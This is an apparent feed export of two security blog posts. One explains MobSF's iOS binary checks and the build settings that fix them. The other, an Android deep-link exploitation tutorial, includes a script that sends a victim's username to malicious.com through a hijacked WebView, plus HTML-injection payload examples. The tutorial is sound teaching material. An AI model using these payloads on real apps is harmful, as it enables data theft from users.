When scanning an .ipa, the "IPA Binary Analysis" section can report multiple issues that can be hard to interpret.

Hopefully this

]]>
inesmartins.github.io/mobsf-ipa-binary-analysis-step-by-step/6116ea0cfd1c6c08ebabac74Sat, 21 Aug 2021 21:57:25 GMT

MobSF is an open source static and dynamic analysis tool for Android and iOS, which can be used to quickly detect major issues on your mobile application.

When scanning an .ipa, the "IPA Binary Analysis" section can report multiple issues that can be hard to interpret.

Hopefully this article will help you understand why each vulnerability was reported and how to fix it.


Getting to the good stuff

.ipa files are actually just zipped files that include the application executable and a bunch of other stuff.

When we talk about binary analysis, we're actually just talking about analysing this executable file, so the first thing we need to do is find it.

Note that if you don't have access to the .ipa you can extract it from the App Store using ipatool:

~ brew tap majd/repo
~ brew install ipatool
~ ipatool download --bundle-identifier <app-bundle-id> --email <appstore-account-email> --password <appstore-account-password>

So, now that you have your .ipa it's time to unzip it and look inside:

~ unzip MyApp.ipa
~ cd Payload/
~ cd MyApp.app/
~ file MyApp
MyApp: Mach-O 64-bit executable arm64

As you can see above, the app binary is compiled for ARM and uses the Mach-O file format.

A more thorough analysis of this binary can be done using otool. You should become familiar with this tool since it will help us validate and fix most of the issues reported below.

Alternatively, I also recommend htool, which serves the similar purpose of analysing Mach-O binaries.


ARC

MobSF "IPA Binary Analysis" | Step by Step

If you're used to working with Swift, then you most likely know ARC or "Automatic Reference Counting" simply as one of the core features of the language.

However, ARC is actually a feature of the Clang compiler, and unlike with Swift, you can (but shouldn't) use Objective-C without using Automatic Reference Counting.

If you've never heard of "Automatic Reference Counting" you should basically know that it "automatically frees up the memory used by class instances when those instances are no longer needed".

The alternative is to leave memory management to the developer, who is always less reliable and can easily make mistakes that can lead to memory corruption vulnerabilities.

So, if your application is written (at least partially) in Objective-C, you should first make sure that the project is configured to use ARC by checking the "Objective-C Automatic Reference Counting" setting under the "Build Settings" tab:

MobSF "IPA Binary Analysis" | Step by Step
https://advancetechtutorial.blogspot.com/2016/07/xcode-arc-automatic-reference-counting.html

If this property is set to No, you should "Convert" the project, as shown below:

MobSF "IPA Binary Analysis" | Step by Step
https://stackoverflow.com/questions/8969644/tool-for-transitioning-to-arc/8969662

You can also check the "Compile Sources" section under the "Build Phases" tab for the presence of the -fno-objc-arc flag, which is used to exclude specific files from using ARC, as shown below:

MobSF "IPA Binary Analysis" | Step by Step
https://thomashanning.com/how-to-disable-arc-for-objective-c-files/

Since there are limitations that come with using ARC, the adequacy of these exceptions should be evaluated on a case by case basis.

As mentioned above, otool can help us understand our binary files a little better.

When it comes to ARC we can use this tool to check for the presence of ARC-related symbols, such as _objc_release, _objc_autorelease, _objc_storeStrong, _objc_retain, etc.:

MobSF "IPA Binary Analysis" | Step by Step

Note the usage of otool's -I and -v flags:

~ otool
	...
	-I print the indirect symbol table
	-v print verbosely (symbolically) when possible

Code Signature

MobSF "IPA Binary Analysis" | Step by Step

From the Apple docs on Code Signing we can read:

Before your app can integrate app services, be installed on a device, or be submitted to the App Store, it must be signed with a certificate issued by Apple.

Also, from the iOS Security Guide:

In order to develop and install apps on iOS devices, developers must register with Apple and join the iOS Developer Program. The real-world identity of each developer, whether an individual or a business, is verified by Apple before their certificate is issued.
[...]
At runtime, code signature checks of all executable memory pages are made as they are loaded to ensure that an app has not been modified since it was installed or last updated.

So, code signing is simply the process of signing an application with an appropriate certificate that ensures the author's identity and the app content's integrity.

Since this process is required by Apple for most operations, if this section is flagged as "False" by MobSF, it's likely that the file you're analysing was generated via some non-traditional method, which seems worth investigating.

Encrypted

MobSF "IPA Binary Analysis" | Step by Step

Similarly to the previous section, encryption shouldn't be a concern for most iOS developers, since the App Store takes care of it during the distribution process.

From iPhoneDev's Wiki:

App Store binaries are signed by both their developer and Apple. This encrypts the binary so that decryption keys are needed in order to make the binary readable.

So, when it comes to the MobSF analysis you should keep in mind the origin of the .ipa you're testing:

  • if you simply download it from the App Store (using ipatool, for example), then the binary should be encrypted;
  • if you get the .ipa from any other source, then most likely it's not encrypted.

To confirm the binary's encryption you can use otool to look for the LC_ENCRYPTION_INFO section:

MobSF "IPA Binary Analysis" | Step by Step

From the iPhoneDev Wiki:

iOS can tell the encryption status of a binary via the cryptid struture member of LC_ENCRYPTION_INFO MachO load command.
If cryptid is a non-zero value then the binary in encrypted.

Note that the cryptsize indicates the size of the encrypted segment.

Also note the usage of otool's -l flag:

~ otool
	...
	-l print the load commands

NX

MobSF "IPA Binary Analysis" | Step by Step

Although the NX bit is specific to the AMD architecture, people tend to use "NX" as a generic way of referring to the feature that enables you to specify non-executable memory pages.

So, in this case, the NX section actually refers to the XN or "eXecute never" feature, since we're dealing with an ARM binary.

In the iOS Security Guide, under "Runtime process security" we can read:

Further protection is provided by iOS using ARM’s Execute Never (XN) feature, which marks memory pages as non-executable.
Memory pages marked as both writable and executable can be used only by apps under tightly controlled conditions:
The kernel checks for the presence of the Apple-only dynamic code-signing entitlement. Even then, only a single mmap call can be made to request an executable and writable page, which is given a randomized address.

So, this section should never be flagged by MobSF, as long as Apple continues to use XN by default.

PIE

MobSF "IPA Binary Analysis" | Step by Step

As explained above, each time you run a "Position Independent Executable" (PIE), the binary and all of its dependencies are loaded into random locations within virtual memory, which make ROP attacks much more difficult to execute reliably.

We can check for the presence of the PIE flag in our executable with otool:

MobSF "IPA Binary Analysis" | Step by Step

Note the usage of otool's -h and -v options:

~ otool
	...
	-h print the mach header
	-v print verbosely (symbolically) when possible

If this flag is not present in the binary, then you need to review your compilation settings.

First, ensure that "Don't Create Position Independent Executables"  under "Build Settings" is set to NO:

MobSF "IPA Binary Analysis" | Step by Step
https://stackoverflow.com/questions/32728783/why-would-xcode-not-use-the-build-configuration-settings-from-my-xcconfig-file

Then, check that these flags are set:

  • In Other C flags: -fPIC
  • In Other Warning flags: -Wl,--emit-relocs (retains all relocations in the executable file) and -Wl,--warn-shared-textrel (warns if the text segment is not shareable).

Stack Canary

MobSF "IPA Binary Analysis" | Step by Step

Again we can use otool to check whether a binary is using stack canaries by looking for some specific symbols, such as _stack_chk_guard and _stack_chk_fail:

MobSF "IPA Binary Analysis" | Step by Step

Note the usage of otool's -I and -v flags:

~ otool
	...
	-I print the indirect symbol table
	-v print verbosely (symbolically) when possible

If the stack canary is not present, you need to ensure that the -fstack-protector-all flag is set under "Other C Flags", on your project's "Build Settings" tab, as shown below:

MobSF "IPA Binary Analysis" | Step by Step

Rpath

MobSF "IPA Binary Analysis" | Step by Step

The "Runpath Search Path" instructs the dynamic linker to search for a dynamic library (dylib) on an ordered list of paths ... sort of like how Unix looks for binaries on $PATH.

This is an issue because it makes it possible for an attacker to place a malicious dylib in one of the first paths that doesn't contain the library that the linker is trying to locate, therefore hijacking it.

A simple way to check whether or not your application's libraries were compiled using rpath is to run otool with the -L flag, which lists all Mach-O Shared Libraries:

MobSF "IPA Binary Analysis" | Step by Step

Note that some of the libraries are prefixed with @rpath, while others are prefixed by the absolute path.

Also, if you already have access to the full MobSF Static Analysis report, you can simply scroll down to the "Libraries" section and check which are prefixed by @rpath:

MobSF "IPA Binary Analysis" | Step by Step

If your application uses the Swift Package Manager, in order to compile the libraries without rpath you need to use some hidden build flags. On your local command line run:

MobSF "IPA Binary Analysis" | Step by Step

Note the swift compiler option no-stdlib-rpath which disables rpath entries during compilation.

Configure your build settings so that the application is built with this configuration flag, e.g.: swift build -c release -Xswiftc -no-toolchain-stdlib-rpath.

Alternatively, if your application uses Cocoapods, you can first check the install directory of the pods:

MobSF "IPA Binary Analysis" | Step by Step

And then use the following configuration on your Podfile:

post_install do |installer|
  installer.pods_project.targets.each do |target|
    target.build_configurations.each do |config|
      config.build_settings['DYLIB_INSTALL_NAME_BASE'] = <your-install-directory>
    end
  end
end

So, the result would looks something like this:

MobSF "IPA Binary Analysis" | Step by Step

Symbols Stripped

MobSF "IPA Binary Analysis" | Step by Step

From Apple's Building Your App to Include Debugging Information:

When Xcode compiles your source code into machine code, it generates a list of symbols in your app—class names, global variables, and method and function names.
These symbols correspond to the file and line numbers where they’re defined; this association creates a debug symbol, so you can use the debugger in Xcode, or refer to line numbers reported by a crash report.
Debug builds of an app place the debug symbols inside the compiled binary file by default, while release builds of an app place the debug symbols in a companion Debug Symbol file (dSYM) to reduce the size of the distributed app.

So, the good thing about these dSYM files is that you can store them separately and then use them to symbolicate your logs without actually letting the end user have access to them via App Store:

~ symbolicatecrash "<path-to-crash-file>" "<path-to-dSYM file>" > symbolicated.crash

By default, dSYM files are generate for "Release" builds, which you can check by reviewing your "Build Settings":

  • Generate Debug Symbols = YES
  • Debug Information Format = DWARF with dSYM File

A simple way to check whether or not your application was compiled with debug symbols is to again run otool with the -Iv flags:

MobSF "IPA Binary Analysis" | Step by Step

Alternatively, you can use nm, which "displays the name list (symbol table) of each  object file in the argument list".

MobSF "IPA Binary Analysis" | Step by Step

If MobSF flags you project as containing debug symbols, please ensure that your project's "Build Settings" contain the following "Release" configurations:

  • Deployment Postprocessing = YES;
  • Strip Debug Symbols During Copy = YES;
  • Strip Linked Product = YES;
  • Strip Style = All Symbols;
  • Strip Swift Symbols = YES
MobSF "IPA Binary Analysis" | Step by Step

Finally, note that you can actually manually strip your binary, but as shown below, this invalidates the code signature:

MobSF "IPA Binary Analysis" | Step by Step

]]>
<![CDATA[Exploiting Deep Links in Android - Part 2]]>In this part, we're going to start to answer the question: "What can you do if you can trick a user into clicking a malicious deep link?"


Let's go back to the ABC Bank example. ABC Bank has both a web and an Android

]]>
inesmartins.github.io/exploiting-deep-links-in-android-part-2/611910dbfd1c6c08ebabad54Sun, 15 Aug 2021 15:17:07 GMT

In this part, we're going to start to answer the question: "What can you do if you can trick a user into clicking a malicious deep link?"


Let's go back to the ABC Bank example. ABC Bank has both a web and an Android application, and they use deep links to improve the user experience of transitioning between the two.

Text Injection

So, the first thing they want to do is allow the user to view messages in their application. In order to do that, they use the following deep link:

abcbank://view-message?message=<message>

The Android application takes the message parameter and injects it into a TextView element:

String message = getIntent().getData().getQueryParameter('message')
TextView messageTextView = (TextView)findViewById(R.id.msgTextView);
messageTextView.setText(message);

In this scenario, it's possible that a malicious user creates a deep link that tricks a victim into completing some sort of action, e.g.:

Exploiting Deep Links in Android - Part 2

WebView Takeover

Let's say a customer is not sure about how to complete a specific operation, so they call the bank's customer support line and the ABC Bank's employee decides to send a deep link to the customer, so they can open a specific website page inside their Android application:

abcbank://help?page=https://abcbank.com/how-to-setup-mfa

Inside the application there's a WebView and whatever URL is received via this page parameter is loaded without any additional validation, as so:

webview.loadUrl(getIntent().getData().getQueryParameter('page');

In this scenario, a malicious attacker can craft a malicious deep link that replaces this page parameter with any other URL, e.g.:

abcbank://help?page=https://malicious.com

The result:

Exploiting Deep Links in Android - Part 2

Now, this is bad by itself, but there's yet another danger.

Access to Web Bindings

Let's say that the vulnerable WebView is used for multiple things inside the application, and one of those operations requires that the WebView has access to the username, that's stored inside the Android application.

In that case, the application can register a JS interface, e.g.:

webview.addJavascriptInterface(WebAppInterface(this), "Android")

Then, inside the WebAppInterface, we can create a method such as:

public final String getUserName() {
	return this.store.getUserName();
}

Finally, the malicious attacker can create a malicious page that exfiltrates the user name of its visitors, as shown below:

// https://malicious.com/index.html

<DOCTYPE html>
<head>
<script>
    var req = new XMLHttpRequest();
    xmlhttp.open("POST", https://malicious.com/user-data);
    xmlhttp.send(JSON.stringify(window.Android.getUserName()));
</script>
</head>
<body>
...

The only thing left to do is to convince the victim to click the malicious deep link where this code is hosted:

abcbank://help?page=https://malicious.com/index.html

Note that in order for this to work there's an additional requirement, the WebView needs to have JavaScript enabled:

webview.getSettings()setJavaScriptEnabled(true);

The dangers of WebView.loadUrl

As we saw on the Open Redirect example shown above, we can use the loadUrl method to load the given URL into a WebView:

webview.loadUrl(getIntent().getData().getQueryParameter('url');

However, this method doesn't only support http(s) but also javascript:, file:// and whatever else scheme you might want to try, you're only limited by the WebView configuration and the developer's validations.

The dangers of WebView.loadData

As the name suggests we can use loadData method to load data into a WebView using a 'data' scheme URL.

This allows us to do some fun stuff like taking some HTML from a deep link parameter and injecting it directly into a WebView with JavaScript enabled, as shown in the example below:

String html = getIntent().getData().getQueryParameter('html')

WebView wv = new WebView(this);
wb.getSettings().setJavaScriptEnabled(true);
wv.loadData(html, "text/html", "UTF-8")

Now, we can go wherever imagination takes us, we're only restricted by the application's features and security restrictions.


Next, we'll look into other fun vulnerabilities such as LFI and even RCE using deep links.

]]>